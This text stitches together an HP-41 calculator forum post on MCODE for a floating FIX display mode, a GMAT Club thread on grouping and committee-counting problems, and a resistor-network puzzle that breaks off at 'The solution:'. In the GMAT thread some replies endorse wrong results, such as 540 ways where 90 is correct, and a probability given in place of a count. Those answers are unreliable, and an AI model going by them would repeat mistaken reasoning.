So let's look at the K-theory argument. The first step is to observe that the symbol of an elliptic operator gives rise to a class in $K(T^*M)$. If the operator acts on smooth sections of a vector bundle $S$, then its symbol is a map $T^*M \to End(S)$ which is invertible away from the origin; Atiyah's "clutching" construction produces the relevant K-theory class. Second, one constructs an "analytic index" map $K(T^*M) \to \mathbb{Z}$ which sends the symbol class to the index of $D$. The crucial point about the construction of this map is that it is really just a jazzed up version of the basic case where $M = \mathbb{R}^2$, and in that case the analytic index map is the Bott periodicity isomorphism. Third, one constructs a "topological index map" $K(T^*M) \to \mathbb{Z}$ as follows. Choose an embedding $M \to \mathbb{R}^n$ (one must prove later that the choice of embedding doesn't matter) and let $E$ be the normal bundle of the manifold $T^*M$. $E$ is diffeomorphic to a tubular neighborhood $U$ of $T^*M$, so we have a composition
$K(T^* M) \to K(E) \to K(U) \to K(T^*\mathbb{R}^n)$
Here the first map is the Thom isomorphism, the second is induced by the tubular neighborhood diffeomorphism, and the third is induced by inclusion of an open set (i.e. extension of a vector bundle on an open set to a vector bundle on the whole manifold). But K-theory is a homotopy functor, so $K(T^* \mathbb{R}^n) \cong K(\text{point}) = \mathbb{Z}$, and we have obtained our topological index map from $K(T^*M)$ to $\mathbb{Z}$. The last step of the proof is to show that the analytic index map and the topological index map are equal, and here again the basic idea is to invoke Bott periodicity. Note that we expect Bott periodicity to be the relevant tool because it is crucial to the construction of both the analytic and topological index maps - in the topological index map it is hiding in the construction of the Thom isomorphism, which by definition is the product with the Bott element in K-theory.
To recover the cohomological formulation of the index theorem, just apply Chern characters to the composition of K-theory maps which defines the topological index. The K-theory formulation of the index theorem says that if you "plug in" the symbol class then you get out the index, and all squares with K-theory on top and cohomology on the bottom commute except for the "Thom isomorphism square", which introduces the Todd class. So the main challenge is to get an intuitive grasp of the K-theory formulation of the index theorem, and as I hope you can see the main idea is the Bott periodicity theorem.
I hope this helps!
• This is a really helpful answer! One thing I still don't understand with this approach (besides the passage from K-theory to homology and (in particular) how the topological index becomes the integral of a certain local quantity) is why one might expect the analytic index and the topological index to coincide. Why should these two integers be related? May 5, 2010 at 0:50
• As I mentioned, I can't give great intuition for why the Todd class specifically rears its head (it isn't hard to prove that the Todd class does the job, but the geometric meaning of the proof eludes me), but I hope my argument at least explains why the chern character of the symbol is relevant. It also more or less explains where the integral comes from: the map $H(U) \to H(T^* \mathbb{R}^n) \to \mathbb{R}$ which parallels the corresponding map in K-theory is just given by integration. I didn't do a great job of explaining the map $K(U) \to K(T^* \mathbb{R}^n)$, but it all works out. May 5, 2010 at 11:47
• As for why $ind_t = ind_a$, the key idea is expressed by a compatibility between $ind_a$ and the Thom map. Specifically if $i: M \to N$ is an inclusion then the map $i_!: K(T^*M) \to K(T^*N)$ described above in the case $N = \mathbb{R}^n$ commutes with $ind_a$. This basically expresses the close relationship between Bott periodicity and the Thom map in K-theory. In the IEO papers, A-S characterized $ind_t$ according to two axioms: $ind_t$ is the identity if $M$ is a point, and $ind_t$ commutes with $i_!$. They then proved the index theorem by showing that $ind_a$ satisfies the axioms. May 5, 2010 at 12:20
• One last vague comment which might intrigue you. From a modern point of view, this is often expressed by encapsulating Bott periodicity in the construction of K-homology (dual to K-theory). An elliptic operator gives rise to a K-homology class, and the index arises as a natural pairing between K-theory and K-homology. The proof of the index theorem comes down to using the product structure in K-homology to "compute" the index. One advantage of this approach (of many) is that $ind_a$ and $ind_t$ are constructed in very similar ways, and one is more likely to expect that they are the same. May 5, 2010 at 13:00
• The heat kernel proof surely does not really nicely explain the topological meaning of the $\hat A$-class. It captures some of its geometric meaning, though. Even better in this respect is the proof by Berline-Vergne using the Laplacian on principal bundles, which gives one possible truely geometric explanation of $\hat A$ through the Jacobian on the principal bundle. May 23, 2017 at 15:44
I am going to give a topologically biased answer, which will proceed by restating what the Index Theorem says so that its plausibility (though not its truth) is more immediate. [Oops - I see that Paul Siegel said much of this in the comments following his answer - oh well.]
Philosophy: It is a good thing to take a homology and cohomology theory and find geometric/ analytic models for them as well as the linear and Poincare-Lefshetz duality between them, when the spaces in questions are manifolds.
The most basic example is of course ordinary homology and cohomology, which are quite familiar, but worth revisiting since there are actually a few different models of this philosophy. The standard geometric model for homology is chains, and then cohomology can be obtained as a "formal linear dual." But in an oriented manifold, one can show that differential forms provide functionals on chains and go on to establish the de Rham theorem. Or one can take proper submanifolds as partially-defined cochains and get an intersection-theoretic interpretation of cohomology. Or one can decide that de Rham theory is so wonderful that it should be the basic theory, and then passing to linear duals from there leads to the theory of currents to represent homology.
Another example which works very easily but is not as well known is bordism and cobordism. By definition bordism groups are defined by maps from manifolds. Cobordism is typically defined by maps to Thom spectra, but standard transversality shows that such maps are represented by proper submanifolds. The linear/Poincare/Lefshetz duality between bordism and cobordism is given by intersection theory.
The Index Theorem manifests this philosophy for K-theory. K-theory cohomology classes are of course represented by formal sums (or complexes) of vector bundles. K-homology, as developed in Higson and Roe's book (Wayback Machine), is represented by Fredholm operators. The pairing between them is roughly "counting the dimensions of spaces of solutions of an operator on a vector bundle." (On some planet with very advanced topologists but relatively weak other flavors of math, one could envision the topologists "inventing" this kind of analysis just so they could have more fun with K-theory.) While the analysis (pseudodifferential operators and the like) which shows that Fredholm operators "pair" with vector bundles is standard enough, showing that there is such a homology theory is of course involved, and takes up much of the Higson-Roe book.
Thus, the Index Theorem follows immediately from the stronger statement that one can define K-homology theory using differential operators and that the pairing between that and K-theory is given by the Index. In order to get the cohomology statement, as Paul Siegel mentions above, one uses the Chern character to translate from K-theory to cohomology but then must multiply by the Todd genus because the Chern character does not preserve Thom classes.
I realize that this stronger statement while perhaps feeling plausible is more of a formal answer than the geometric answer (like for Gauss-Bonnet) that you sought. But when I studied the Index Theorem, mostly on the topological side, years ago I found that this formalism did help me develop some "pictures" for some of the arguments (for example the Fredholm theoretic proof Bott periodicity etc).
By the way, while we're mentioning this philosophy, there is one case which is very much a hot/interesting topic, namely for elliptic cohomology where objects like conformal nets, higher categories and "stringy" topology of manifolds all need to be further developed to tell the story.
This is a very good question and I wish I could give a much better answer. But let me try nevertheless.
My understanding (little as it is) of the index theorem derives from Physics, where -- as I have written elsewhere on MO -- it appears as the Witten index of a supersymmetric theory. When the elliptic operator whose index is under discussion has a geometric origin -- say, mapping between spaces of sections of vector bundles in a compact manifold -- the supersymmetric theory is usually a (possibly, gauged) nonlinear sigma model. A mathematically readable paper on this topic is Luis Alvarez-Gaumé's Supersymmetry and the Atiyah--Singer index theorem to which one should go for the details. But as the OP asks for an "intuitive" explanation, let me continue.
Nonlinear sigma models are theories of harmonic maps $$\phi: \Sigma \to X$$ between two spaces, where $$X$$ is the geometrically interesting space in this discussion and $$\Sigma$$ is some auxiliary space, playing the rôle of the arena where the Physics takes place. The relevant sigma models for index theory are the supersymmetric sigma models, which in addition to the maps $$\phi$$ also have some other fields $$\psi$$, which are sections of bundles over $$\Sigma$$: usually spinors twisted by the pullback by $$\phi$$ of some bundle on $$X$$. In the index calculation this would be the difference bundle associated to the elliptic operator. Now, $$\phi$$ are bosonic fields and $$\psi$$ are fermionic fields. These names reflect a certain fundamental parity in the space of fields: bosonic and fermionic fields have very different dynamics, but they are related in a supersymmetric theory.
The quantum dynamics of such a supersymmetric sigma model is quite complicated: it is described in terms of path integrals weighted by a complicated interacting action functional; but luckily we are not really interested in doing Physics, but "only" Topology! Since the topological invariant we are after is actually a homotopy invariant, we are free to take a limit in which the path integral can be calculated.
In this limit we can decompose fields into classical configurations and fluctuations and one of the marvelous consequence of supersymmetry is that the bosonic and fermionic fluctuations cancel each other precisely, leaving an integral over a finite dimensional manifold: typically $$X$$ or $$T^*X$$, depending on which version of the path integral one uses. Basically in the relevant limit the path integral localises on (locally) constant maps $$\phi$$. The configuration space for constant maps is $$X$$ itself, whereas $$T^*X$$ is the phase space of those configurations. Performing the integral then recovers the index formula.
So, in a nutshell:
1. $$T^*X$$ is the phase space of constant bosonic field configurations,
2. the Todd class is the result of the localised bosonic path integral, and
3. the Chern character is the result of the localised fermionic path integral.
• Intuitive explanations involving "localised fermionic path integrals", "bosonic field configurations" and friends have a chilling effect on me :) May 4, 2010 at 16:49
• Yeah, sorry. That's why I said that I wished it were a better answer. I'm sure with some work one can excise all the Physics from this answer... while hopefully retaining some of the intuition. May 4, 2010 at 17:27
• I think the closest approach to the physics, staying non-chillingly within mathematics, is in Atiyah's expose ams.org/mathscinet/search/… "Circular symmetry and stationary-phase approximation". It formally applies Duistermaat-Heckman to loop space, so definitely a soft not-necessarily-rigourous intuitive explanation. May 4, 2010 at 19:20 | 4,453 | 19,283 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 21, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.859375 | 3 | CC-MAIN-2022-33 | latest | en | 0.947767 |
https://www.cut-the-knot.org/do_you_know/GoldenRatioInPentagonAndTwoSquares.shtml | 1,713,004,976,000,000,000 | text/html | crawl-data/CC-MAIN-2024-18/segments/1712296816587.89/warc/CC-MAIN-20240413083102-20240413113102-00757.warc.gz | 684,320,006 | 5,675 | # Golden Ratio in Pentagon And Two Squares
## Tran Quang Hung
### December 24, 2016
In the dagram below, $\displaystyle\frac{MS}{ST}=\varphi,\,$ the Golden Ratio.
For a proof, add a couple of lines to the diagram:
By the Law of Sines in $\Delta MOS,\,$
$\displaystyle\frac{MS}{OS}=\frac{\sin \angle MOS}{\sin\angle OMS}=\frac{\sin 54^{\circ}}{\sin 18^{\circ}}.$
In $\Delta JOS,\,$
$\displaystyle\frac{OS}{JS}=\frac{1}{\sin 54^{\circ}}.$
Taking the product,
$\displaystyle\frac{MS}{ST}=\frac{MS}{2\cdot JS}=\frac{1}{2\sin 18^{\circ}}=\frac{2}{\sqrt{5}-1}=\frac{\sqrt{5}+1}{2}=\varphi$
because $\displaystyle\sin 18^{\circ}=\frac{\sqrt{5}-1}{4}.$
### Golden Ratio
Copyright © 1996-2018 Alexander Bogomolny
71523186 | 266 | 726 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.84375 | 4 | CC-MAIN-2024-18 | latest | en | 0.47342 |
http://www.pitt.edu/~robertr/Math230F13/Math230.html | 1,435,716,213,000,000,000 | text/html | crawl-data/CC-MAIN-2015-27/segments/1435375094634.87/warc/CC-MAIN-20150627031814-00131-ip-10-179-60-89.ec2.internal.warc.gz | 692,313,066 | 2,622 | # Math 0230 Schedule and Practice Problems
Syllabus can be found here.
A full list of topics that will be covered is listed here but ignore the dates listed.
Website references below are to the website accompanying our text: http://www.stewartcalculus.com/media/6_inside_topics.php. The website is used for supplementary topics that are not included in the print version of the textbook.
August 26-28: Review of integration techniques, Trigonometric integrals and substitution
5.5 Number 1-54 odd
6.1 Number 1-28 odd
6.2 Number 1-33 odd, 41-57 odd, 61
September 4: Partial fractions
6.3 Number 1-39 odd
September 9-11: Mean values of functions, Approximate Integration, Improper integrals, Areas between curves, Volumes
6.5 Number 2, 7, 9, 11, 13, 15
6.6 Number 5-31 odd, 41, 43, 45
7.1 Number 1-15 odd, 16
September 16-18: Volumes, Volumes by disc and washer methods, Volumes by cylindrical shells, Arc Length, Applications to physics and engineering (work and force)
7.2 Number 1-11 odd, 21, 27
7.3 Number 5, 6, 9, 18, 19, 20, 21, 23
7.4 Number 2, 3, 5, 6, 10
September 23-25: Applications to physics and engineering (work, force, Hydrostatic force), Three dimensional coordinate systems, Vectors
7.6 Number 1, 3, 5, 7, 9, 12, 13, 15, 17, 18, 27, 28, 31, 34
10.1 Number 1-30
10.2 Number 1-26
September 30: Three dimensional coordinate systems, The dot product
10.3 Number 1-26
October 2: Review for Exam 1
October 7: Exam 1
October 9: The cross product and its applications
10.4 Number 1-18, 23-34
October 15-16: Equations of lines and planes, Parametric curves
10.5 Number 1-40
9.1 Number 1, 3, 5, 7, 9, 10, 13, 15, 16, 17, 18, 22, 31
October 21-23: Parametric Curves, Calculus with parametric curves, Polar coordinates, Areas and length in polar coordinates
9.2 Number 1-15 odd, 24, 25, 28, 30, 35, 37, 40
9.3 Number 1-6, 7, 9, 10, 11, 13-20, 23-29 odd, 46, 47, 51-54
9.4 Number 1-13, 15-25, 29-38 odd
October 28-30: Sequences and Series
8.1 Number 3-36
8.2 Number 3-29, 33, 34
8.3 Number 2-27
November 4-6: Series convergence tests, Power series, Taylor Series
8.4 Number 1-18, 19-37 odd
8.5 Number 3-20
November 8: Exam Review in Thaw 11 at 4-5 PM
November 11: Applications of Taylor Series
8.6 Number 1-30
8.7 Number 1-34, 37-64
November 13: Exam 2
November 18-20: Differential equations, separable differential equations, first order linear differential equations, exponential and logistic growth and decay
7.6 Number 1-15 odd 21-29
Textbook notes for Linear Differential Equations
November 25-27: Homogeneous second order linear differential equations, applications of differential equations
Textbook notes for second order linear differential equations
Textbook notes for complex numbers. Most importantly, see section on "Complex Exponentials"
December 2-4: TBD
December 11: Final Exam (6-7:15 PM in Thaw 11) | 952 | 2,842 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.03125 | 3 | CC-MAIN-2015-27 | latest | en | 0.856227 |
http://www.hpmuseum.org/forum/thread-3099.html | 1,550,513,525,000,000,000 | text/html | crawl-data/CC-MAIN-2019-09/segments/1550247487624.32/warc/CC-MAIN-20190218175932-20190218201932-00350.warc.gz | 372,994,158 | 8,974 | 41 MCODE - Floating FIX Mode (Fix ALL)
02-15-2015, 01:59 PM (This post was last modified: 02-15-2015 02:05 PM by Ángel Martin.)
Post: #1
Ángel Martin Senior Member Posts: 926 Joined: Dec 2013
41 MCODE - Floating FIX Mode (Fix ALL)
Floating FIX Mode
As discussed in a forum thread, it's often valuable to see the maximum number of digits with a meaningful contribution to the result value. The idea for the 41 was to use the I/O_SVC interrupt polling point to adjust the FIX setting in a dynamic fashion, depending on the value stored in the stack register X.
Some folks call this a FIX ALL mode, but I favor the Floating FIX terminology - after all a fix ALL would always be a static FIX_9, for it isn't about ALL digits but ALL NEEDED ones. Bur semantics aside, the code below shows the core of the routine, i.e. the actual determination of the FIX settings.
The formulas used are as follows:
Let x be represented by the following convention used in the 41 platform, with one digit for the mantissa sign, 10 digits for the mantissa, one for the exponent sign and two for the exponent. This enables a numeric range between +/-9,999999999 E99, with a "whole" around zero defined by the interval +/-1E-99.
Then the fix setting to use is a function of the number in X , represented as follows:
" s|abcdefghij|xyz "
1. If number >=1 (or x="0")
let z# = number of mantissa digits equal to zero, starting from the most significant one (i.e. from PT= 3 to PT=12), and XP = value of exponent (yz). Then we have:
FIX = max { 0 , [(9-z#) + XP }
2. if number < 1 (or x="9")
let |XP| = 100 - xyz, and z# as defined above. Then we have:
FIX = min { 9 , [(9-z#) + |XP| }
And here is the code to be executed by the OS upon each qualifying I/O_SVC event:
Code:
384 CLRF 0 default is XP > 0 0F8 READ 3(X) 2FA ?C#0 M is it zero?? 15B JNC +43d (has 10 zeroes in mantissa) 2A0 SETDEC decimal math 01C PT= 3 006 A=0 S&X 2E2 ?C#0 @PT 037 JC +06 [EXIT] 166 A=A+1 S&X # of zero digits in A[S&X] 354 ?PT= 12 01F JC +03 [EXIT] 3DC PT=PT+1 3D3 JNC -06 130 LDI S&X 009 CON: mantissa field length 0A6 A<>C S&X #z in C[S&X] 1C6 A=A-C S&X mant# = (9 - z#) 086 B=A S&X keep copy in B[S&X] 0F8 READ 3(X) 106 A=C S&X put it in A[S&X] 356 ?A#0 XS lower than one? 03B JNC +07 no, jump to section 388 SETF 0 marks XP < 0 016 A=0 XS yes, remove sign 130 LDI S&X 100 CON: normalize constant 0A6 A<>C S&X 1C6 A=A-C S&X |XP| = (100 - XP) in A[S&X] 130 LDI S&X 009 CON: maximum FIX setting 260 SETHEX HEX mode 306 ?A<C S&X is |XP| < 9 ? 063 JNC +12d no, out of bounds 0A6 A<>C S&X put |XP| in C[S&X] 066 A<>B S&X put (9-z#) in A[S&X] 38C ?FSET 0 01B JNC +03 206 C=C+A S&X mant# + |XP| 03B JNC +07 246 C=A-C S&X mant# - |XP| 2F6 ?C#0 XS zeros in tens, hundreds... 023 JNC +04 no, stay put 046 C=0 S&X yes, it was integer! 013 JNC +02 skip next 0C6 C=B S&X put (9-z#) in C[S&X] 0FC RCR 10 puts it in C<4> 10E A=C ALL save result in A<4> 3B8 READ 14(d) read flag register 158 M=C ALL save it for later 05C PT= 4 0A2 A<>C @PT get fix# to C<4> 01C PT= 3 210 LD@PT- 8 FIX mode 3A8 WRIT 14(d) temporary settings 0F8 READ 3(X) puts value in C 099 ?NC XQ Sends C to display - sets HEX 02C ->0B26 [DSPCRG] 198 C=M ALL recall original FIX settings 205 ?NC GO Set MSG flag (from C) 00E ->0381 [STMSF]+3
02-15-2015, 04:09 PM
Post: #2
Ángel Martin Senior Member Posts: 926 Joined: Dec 2013
RE: 41 MCODE - Floating FIX Mode (Fix ALL)
(02-15-2015 02:29 PM)Geir Isene Wrote: Now where do I put the code and how to make the OS catch it?
Ah, that's the secret sauce ;-) Stay tuned for a second part article... but in all likelihood you wouldn't want to re-reinvent this wheel so use the SandMath 4x4 instead.
02-15-2015, 06:38 PM
Post: #3
Ángel Martin Senior Member Posts: 926 Joined: Dec 2013
RE: 41 MCODE - Floating FIX Mode (Fix ALL)
(02-15-2015 05:16 PM)Geir Isene Wrote:
(02-15-2015 04:09 PM)Ángel Martin Wrote: Ah, that's the secret sauce ;-) Stay tuned for a second part article... but in all likelihood you wouldn't want to re-reinvent this wheel so use the SandMath 4x4 instead.
But - I have all my ports pretty much covered. But I want this Floating FIX mode... and SandMath breaks my config. Put it in Library #4 perhaps?
Page#4 does not have interrupts - sorry not a chance. Perhaps the AMC_OS/X but that'd mean serious surgery and complete rewrite of many sections - too much effort for something it's already done. Also the RCL math needs the five additional functions... and it's all connected.- See the next post.
02-15-2015, 06:42 PM (This post was last modified: 02-15-2015 06:43 PM by Ángel Martin.)
Post: #4
Ángel Martin Senior Member Posts: 926 Joined: Dec 2013
RE: 41 MCODE - Floating FIX Mode (Fix ALL)
Implementation Details – a MCODE digression.
Taking advantage of the I/O_SVC Interrupt is not easy to implement, even if conceptually simple. For starters, one needs to keep in mind that the event is triggered after the operations have occurred – thus is not to be mistaken with a code break during the execution.
Then there is also the fact that a constant polling of the I/O_SVC will introduce noticeable overhead on the system performance, thus one needs to carefully choose the instances and scenarios where the supplemental code is to be run. Doing it too often will cause annoying delays, but missing some will result in an inconsistent or incomplete implementation of the added functionality.
To make it more complicated, this technique is also used by other modules that the implementation here needs to be compatible with. Not an easy task; you probably know that the ZENROM and the CCD Module are not compatible, and that the AECROM takes over all the attention to maintain the results in the chosen unit (Foot, meters, inch fractions).
The criteria followed by the SandMath is full compatibility with the AMC_OS/X and CCD-style modules, regardless of the order they are plugged in the machine. That’s why the criteria needs to go to lower-level conditions (like pending addresses in the RTN stack and keycodes for the pressed keys) instead og more general events, like parsing OS routines.
Here’s the conditional tree used to qualify I/O events into triggering points in the SandMath.
General conditions:
1. Is Alpha ON? - Ignore if true.
2. Is the 1st. RTN address from the OS ROM_0 / ROM_1? - Ignore if False.
Conditions for the Floating FIX mode:
3. Is the message flag ON? - Ignore if true.
4. Is the 1st. RTN address = 00F0 [NFRPU], or 0CCA [STO], or 10DA [AJ]? - Ignore if False
Conditions for the RCL Math and Prompt Lengtheners
5. Is the 1st. RTN adr = 0CDE [PAR110]? - Mid term of a 2-digit prompt when True
a. Further check on keycode to exclude XEQ, replace it otherwise.
6. Is the 1st. RTN adr = 0D22 [PARA05]? – Mid term of a 1-digit prompt when True
a. Further check on keycode to exclude CAT, replace it otherwise
7. Is the 1st. RTN adr = 0DC4 [IND20] ? IND prompt situation when True
a. Is the 2nd. RTN adr = 122E [RCL]? – Replace the first adr when True (IND 1_ _ )
Say what?, Not a Fool-Proof result !
One last word about the expected results:- This is a good example of the additional difficulty arising from the afterthought nature of a task that would be basically simple had it been done integrated into the OS. Coming from behind the OS to supplement/complement its doings is not the best way to implement this functionality, which ideally belongs to the OS displaying routines instead. Thus you’ll find some instances when the Floating FIX mode won’t kick in, like using STO and then numeric keys (but note that it does work using the top-two rows, A-J).
I have tested the outcome of all functions within the SandMath, modifying some of them to make sure that they provide the triggering conditions for the Floating mode to operate. With other modules the implementation may have some glitches, depending on how their functions were written.
There is currently a limitation for some functions when you execute them using the LASTFunction method, so be aware of that as well.
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# 6 people form groups of 2 for a practical work. Each group
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16 Sep 2012, 08:02
fameatop wrote:
Bunuel wrote:
Gusano97 wrote:
A) 6 people form groups of 2 for a practical work. Each group is assigned one of three continents: Asia, Europe or Africa. In how many different ways can the work be organized?
B) In a group of 10 people, 6 women and 4 men. If a comission of three people has to be formed with at least one man, how many groups can we form?
Hi, and welcome to the Gmat Club. Below are the solutions for your problems. Hope it helps.
A. 6 people form groups of 2 for a practical work. Each group is assigned one of three continents: Asia, Europe or Africa. In how many different ways can the work be organized?
# of ways 6 people can be divided into 3 groups when order matters is: $$C^2_6*C^2_4*C^2_2=90$$.
Hi Bunuel,
In reference to the first question, i have a doubt which is- 90 is the no of ways in which 6 people can be divided into 3 groups of 2 persons each.
Shouldn't the answer be 90 x 6 = 540 because these 3 different teams can be sent to 3 different location in 3! ways.
Kindly correct me if i am wrong.
You are right, it should be 90*3! = 540. Order of groups matters here, as we have different continents.
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Re: 6 people form groups of 2 for a practical work. Each group [#permalink]
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28 Dec 2012, 02:35
Gusano97 wrote:
A) 6 people form groups of 2 for a practical work. Each group is assigned one of three continents: Asia, Europe or Africa. In how many different ways can the work be organized?
My approach:
How many ways to select 2-2-2 from 6 people?
$$=\frac{6!}{2!4!}*\frac{4!}{2!2!}*\frac{2!}{2!} = 90$$
How many ways to distribute to 3 groups? $$\frac{3!}{3!}=1$$
We divided by 3! because of 2 2 2 are identical distributions over 3 groups.
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Re: 6 people form groups of 2 for a practical work. Each group [#permalink]
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28 Dec 2012, 02:39
Gusano97 wrote:
A)
In a group of 10 people, 6 women and 4 men. If a comission of three people has to be formed with at least one man, how many groups can we form?
What are our possibilities:
M M M $$=\frac{4!}{3!1!}=4$$
M W W $$=\frac{4!}{1!3!}*\frac{6!}{2!4!}= 4 * 15 = 60$$
M M W $$=\frac{4!}{2!2!}*\frac{6!}{1!5!} = 6 * 6 = 36$$
$$=60+4+36 = 100$$
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6 people form groups of 2 for a practical work. Each group [#permalink]
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10 Jun 2016, 04:16
Bunuel wrote:
Gusano97 wrote:
A) 6 people form groups of 2 for a practical work. Each group is assigned one of three continents: Asia, Europe or Africa. In how many different ways can the work be organized?
B) In a group of 10 people, 6 women and 4 men. If a comission of three people has to be formed with at least one man, how many groups can we form?
Hi, and welcome to the Gmat Club. Below are the solutions for your problems. Hope it helps.
A. 6 people form groups of 2 for a practical work. Each group is assigned one of three continents: Asia, Europe or Africa. In how many different ways can the work be organized?
# of ways 6 people can be divided into 3 groups when order matters is: $$C^2_6*C^2_4*C^2_2=90$$.
Similar topics:
probability-85993.html?highlight=divide+groups
combination-55369.html#p690842
probability-88685.html#p669025
combination-groups-and-that-stuff-85707.html#p642634
sub-committee-86346.html?highlight=divide+groups
B. In a group of 10 people, 6 women and 4 men. If a comission of three people has to be formed with at least one man, how many groups can we form?
Let's find the probability of the opposite event and subtract it from 1.
Opposite event would be that in the committee of 3 won't be any man (so only women) - $$P(m=0)=P(w=3)=\frac{C^3_6}{C^3_{10}}=\frac{1}{6}$$. $$C^3_6$$ - # of ways to choose 3 women out 6 women; $$C^3_{10}$$ - total # of ways to choose 3 people out of 10.
$$P(m\geq{1})=1-P(m=0)=1-\frac{1}{6}=\frac{5}{6}$$.
Answer: $$\frac{5}{6}$$
Hi Bunuel !
With reference to your one previous post mentioned below:
GENERAL RULE:
1. The number of ways in which $$mn$$ different items can be divided equally into $$m$$ groups, each containing $$n$$ objects and the order of the groups is important is $$\frac{(mn)!}{(n!)^m}$$
2. The number of ways in which $$mn$$ different items can be divided equally into $$m$$ groups, each containing $$n$$ objects and the order of the groups is NOT important is $$\frac{(mn)!}{(n!)^m*m!}$$.
Why is order important in both these questions? Perhaps I'm not able to get the real rationale behind 'order'.
I presumed the order to be inconsequential and hence divided the equations in both questions by 2 .
Specifically can you please tell how relevance of order create distinct groups(if you can actually mention the groups) in the 2nd example:
B) In a group of 10 people, 6 women and 4 men. If a comission of three people has to be formed with at least one man, how many groups can we form?
Regards
SR
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Re: 6 people form groups of 2 for a practical work. Each group [#permalink]
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20 Jun 2017, 11:11
Gusano97 wrote:
A) 6 people form groups of 2 for a practical work. Each group is assigned one of three continents: Asia, Europe or Africa. In how many different ways can the work be organized?
B) In a group of 10 people, 6 women and 4 men. If a comission of three people has to be formed with at least one man, how many groups can we form?
For question B) what is wrong with the following approach?
We need at least one man: _ _ _. So lets choose one man: 4C1. Rest of the two places can be occupied by anyone since we have fulfilled the requirement of at least one man. So, that can be done in 9C2 ways. Total = 4C1*9C2 = 144 ways.
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Re: 6 people form groups of 2 for a practical work. Each group [#permalink]
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03 Aug 2017, 03:08
Gusano97 wrote:
A) 6 people form groups of 2 for a practical work. Each group is assigned one of three continents: Asia, Europe or Africa. In how many different ways can the work be organized?
B) In a group of 10 people, 6 women and 4 men. If a comission of three people has to be formed with at least one man, how many groups can we form?
1) 6c2 * 4c2 * 2c2
2)10c3-6c3
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Re: 6 people form groups of 2 for a practical work. Each group [#permalink]
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03 Aug 2017, 03:10
capicu006 wrote:
Bunuel,
I'm confused on the second question. Doesn't it ask for a specific number, not a probability?
In any event, would it by 5/6ths of the total number --> 5/6ths of 120 --> 100?
You are right.
The solution is 10c3-6c3
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6 people form groups of 2 for a practical work. Each group [#permalink]
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02 Apr 2020, 01:01
fameatop wrote:
Bunuel wrote:
Gusano97 wrote:
A) 6 people form groups of 2 for a practical work. Each group is assigned one of three continents: Asia, Europe or Africa. In how many different ways can the work be organized?
B) In a group of 10 people, 6 women and 4 men. If a comission of three people has to be formed with at least one man, how many groups can we form?
Hi, and welcome to the Gmat Club. Below are the solutions for your problems. Hope it helps.
A. 6 people form groups of 2 for a practical work. Each group is assigned one of three continents: Asia, Europe or Africa. In how many different ways can the work be organized?
# of ways 6 people can be divided into 3 groups when order matters is: $$C^2_6*C^2_4*C^2_2=90$$.
Hi Bunuel,
In reference to the first question, i have a doubt which is- 90 is the no of ways in which 6 people can be divided into 3 groups of 2 persons each.
Shouldn't the answer be 90 x 6 = 540 because these 3 different teams can be sent to 3 different location in 3! ways.
Kindly correct me if i am wrong.
I also have the same doubt. Please explain?
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Re: 6 people form groups of 2 for a practical work. Each group [#permalink]
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02 Apr 2020, 03:55
Q. 6 people form groups of 2 for a practical work. Each group is assigned one of three continents: Asia, Europe or Africa. In how many different ways can the work be organized?
A. We can also use a formula of [(mn)! / {(n!)^m x m!}] where (m x n) items, divided in m groups of n objects each where orders does not matter. Multiple with m! if order matters.
In this case m x n items are 6
m = 3 = no of groups
n = 2 = no of objects/people in each group
=> 6!/ 2!^3 x 3! = 15
Since order matters x by m! = 6
=> total number of ways = 90
Re: 6 people form groups of 2 for a practical work. Each group [#permalink] 02 Apr 2020, 03:55
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Display posts from previous: Sort by | 2,958 | 9,955 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.21875 | 4 | CC-MAIN-2020-16 | latest | en | 0.927986 |
https://puzzling.stackexchange.com/questions/581/how-to-create-a-pure-mathematical-logical-based-puzzle-equivalent-to-resistance/66858 | 1,721,804,465,000,000,000 | text/html | crawl-data/CC-MAIN-2024-30/segments/1720763518157.20/warc/CC-MAIN-20240724045402-20240724075402-00442.warc.gz | 407,854,749 | 44,748 | # How to create a pure mathematical-logical based puzzle equivalent to resistance based physical puzzle?
I am thinking how to reformulate a physical puzzle in a way that it becomes purely logic based (doesn't uses physical lows and can be solved by a person, who knows nothing about physics).
The puzzle:
The electric circuit in the image is made from the infinite number of wire-frame-squares. The next square is exactly sqrt(2) smaller than the previous. The resistance of used wire is R per one side of the largest square. What is electrical resistance between A and B?
The solution:
